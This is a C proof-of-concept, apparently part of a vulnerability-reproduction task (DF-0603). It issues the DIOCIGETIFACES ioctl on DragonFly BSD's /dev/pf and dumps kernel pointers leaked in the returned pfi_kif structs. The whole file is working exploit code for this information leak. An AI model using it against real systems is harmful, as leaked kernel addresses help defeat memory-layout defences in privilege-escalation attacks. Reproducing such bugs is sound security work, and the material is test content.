DF-0603 / pfleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0603 — DIOCIGETIFACES kernel pointer leak reproducer. * * Issues DIOCIGETIFACES with pfiio_esize = sizeof(struct pfi_kif) and * dumps the returned struct(s), highlighting the raw kernel pointer * fields that pfi_get_ifaces() copyout()s verbatim from the in-kernel * RB tree: * - pfik_tree.{rbe_left,rbe_right,rbe_parent} (RB_ENTRY) * - pfik_ifp (struct ifnet *) * - pfik_group (struct ifg_group *) * - pfik_dynaddrs.{tqh_first,tqh_last} (TAILQ_HEAD) * * Build: cc -o pfleak pfleak.c * Run : ./pfleak (must be able to open /dev/pf -> root or jail w/ pf) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <net/pf/pfvar.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* PF module must be loaded: /dev/pf appears only after `kldload pf.ko`. * The verifier runs `kldload pf.ko` as root before this binary. */ int main(int argc, char **argv) { int fd, n, i; struct pfioc_iface io; struct pfi_kif *kifs; size_t sz; long pagesz; /* How many kifs to ask for. Ask for plenty (one shot, big buffer). */ n = (argc > 1) ? atoi(argv[1]) : 64; fd = open("/dev/pf", O_RDONLY); if (fd < 0) { fprintf(stderr, "open /dev/pf: %s\n", strerror(errno)); fprintf(stderr, "(is pf.ko loaded? run: kldload pf.ko)\n"); return 1; } /* First pass: ask for n entries with a zeroed buffer; the kernel * stores the total count into io.pfiio_size. */ memset(&io, 0, sizeof(io)); io.pfiio_esize = sizeof(struct pfi_kif); io.pfiio_size = n; sz = (size_t)n * sizeof(struct pfi_kif); kifs = calloc(n, sizeof(struct pfi_kif)); if (!kifs) { perror("calloc"); return 2; } io.pfiio_buffer = kifs; if (ioctl(fd, DIOCIGETIFACES, &io) != 0) { fprintf(stderr, "ioctl DIOCIGETIFACES: %s\n", strerror(errno)); free(kifs); return 3; } /* io.pfiio_size now = number of kifs the kernel actually copied * (clamped to our request). */ int returned = io.pfiio_size; printf("DIOCIGETIFACES returned %d kif(s); sizeof(struct pfi_kif)=%zu\n", returned, sizeof(struct pfi_kif)); /* Dump every kif: identify pointer-shaped qwords by scanning for * the canonical x86_64 kernel address pattern. */ int total_leaked = 0; for (i = 0; i < returned; i++) { struct pfi_kif *k = &kifs[i]; char name[IFNAMSIZ + 1]; memcpy(name, k->pfik_name, IFNAMSIZ); name[IFNAMSIZ] = 0; printf("\n=== kif[%d] name=\"%s\" flags=0x%x tzero=%u states=%d rules=%d ===\n", i, name, k->pfik_flags, k->pfik_tzero, k->pfik_states, k->pfik_rules); /* Pointer fields. Treat the struct as a flat array of 8-byte words * and print any qword that looks like a kernel address. */ unsigned long *w = (unsigned long *)k; size_t nw = sizeof(struct pfi_kif) / sizeof(unsigned long); size_t j; for (j = 0; j < nw; j++) { unsigned long v = w[j]; /* canonical kernel address on x86_64 dragonfly: top bits set */ if ((v & 0xffff000000000000UL) == 0xffff000000000000UL && v != 0) { int off = (int)(j * sizeof(unsigned long)); printf(" offset %3d (0x%03x): 0x%016lx <-- KERNEL POINTER\n", off, off, v); total_leaked++; } } } printf("\n==== SUMMARY: %d kernel-pointer-shaped qwords leaked across %d kif(s) ====\n", total_leaked, returned); close(fd); free(kifs); return (total_leaked > 0) ? 0 : 4; } |